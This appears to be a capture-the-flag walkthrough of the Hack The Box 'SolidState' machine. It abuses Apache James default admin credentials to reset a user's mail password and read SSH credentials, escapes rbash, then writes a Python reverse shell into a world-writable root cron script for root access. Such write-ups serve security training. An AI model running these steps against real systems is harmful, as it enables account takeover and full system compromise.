Solid State HTB

```
nmap -sC -sV -T4 -p 22,25,80,110,119,4555 10.10.10.51
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-24 13:45 AEST
Stats: 0:00:32 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.76% done; ETC: 13:46 (0:00:00 remaining)
Stats: 0:01:11 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 85.42% done; ETC: 13:46 (0:00:06 remaining)
Stats: 0:01:12 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 85.42% done; ETC: 13:46 (0:00:06 remaining)
Nmap scan report for 10.10.10.51
Host is up (0.42s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp   open  smtp        JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.16 [10.10.14.16])
80/tcp   open  http        Apache httpd 2.4.25 ((Debian))
|_http-title: Home - Solid State Security
|_http-server-header: Apache/2.4.25 (Debian)
110/tcp  open  pop3        JAMES pop3d 2.3.2
119/tcp  open  nntp        JAMES nntpd (posting ok)
4555/tcp open  james-admin JAMES Remote Admin 2.3.2
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 126.94 seconds
```

Apache James

We can see it's running Apache James 2.3.2

Running a search Sploit on our current version, there are many vulnerabilities

```
searchsploit james
--------------------------------------------------------------------------------- ------------------------------
----
 Exploit Title                                                         |  Path
--------------------------------------------------------------------------------- ------------------------------
----
Apache James Server 2.2 - SMTP Denial of Service                          | multiple/dos/27915.pl
Apache James Server 2.3.2 - Insecure User Creation Arbitrary File Write (Metas | linux/remote/48130.rb
Apache James Server 2.3.2 - Remote Command Execution                       | linux/remote/35513.py
Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenticated) (2) | linux/remote/5034
7.py
WheresJames Webcam Publisher Beta 2.0.0014 - Remote Buffer Overflow          | windows/remote/944.c
--------------------------------------------------------------------------------- ------------------------------
----
```

We can connect to the admin over telnet and try the default username and password of root root

```
telnet 10.10.10.51 4555
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
```

We can list users and try and set a password for Mindy

```
Welcome root. HELP for a list of commands
listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin
setpassword mindy newpass123
Password for mindy reset
```

Now, if we log into telnet for Mindy, list her emails we find a password

```
 telnet 10.10.10.51 110

Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
USER mindy

PASS newpass123

LIST
+OK 2 1945
1 1109
2 836

RETR 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
          for <mindy@localhost>;
          Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James
```

SSH

lets try ssh into the box

```
ssh mindy@10.10.10.51
The authenticity of host '10.10.10.51 (10.10.10.51)' can't be established.
ED25519 key fingerprint is SHA256:rC5LxqIPhybBFae7BXE/MWyG4ylXjaZJn6z2/1+GmJg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.51' (ED25519) to the list of known hosts.
mindy@10.10.10.51's password:
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142
mindy@solidstate:~$ cat user.txt
49dbe6e1cabf2c6504b8a869e29790a4
mindy@solidstate:~$
```

RBASH

Trying to list commands, we can see we are in an rbash terminal

howver if we specify —noproifle when logging into ssh then we can escape the shell

```
ssh mindy@10.10.10.51 bash --noprofile

mindy@10.10.10.51's password:

id
uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)
whoami
mindy
/bin/bash -i
bash: cannot set terminal process group (3636): Inappropriate ioctl for device
bash: no job control in this shell
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$
```

Now we have a full shell

cronjob

If we run pspy32 we see the tmp.py script being run multiple times

```
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ./pspy32
./pspy32
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░
                   ░           ░ ░
                               ░ ░
2025/08/24 00:24:01 CMD: UID=0    PID=4202   | /bin/sh -c python /opt/tmp.py
```

If we take a look at the file, we can see that it's writable by anyone and owned by root

```
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ cd /opt
cd /opt
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls -la
ls -la
total 16
drwxr-xr-x  3 root root 4096 Aug 22  2017 .
drwxr-xr-x 22 root root 4096 May 27  2022 ..
drwxr-xr-x 11 root root 4096 Apr 26  2021 james-2.3.2
-rwxrwxrwx  1 root root  266 Aug 24 00:18 tmp.py
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$
```

So we can echo a reverse shell into the file.

```
echo '#!/usr/bin/env python3
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.4",4444))   # change to your IP & port
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])
' > /opt/tmp.py
```

And if we set up a listener, we get root

```
nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.10.51] 47792
bash: cannot set terminal process group (4325): Inappropriate ioctl for device
bash: no job control in this shell
root@solidstate:~# cat root.txt
cat root.txt
6f362ddf6a506d9115644f6aff24110e
root@solidstate:~#
```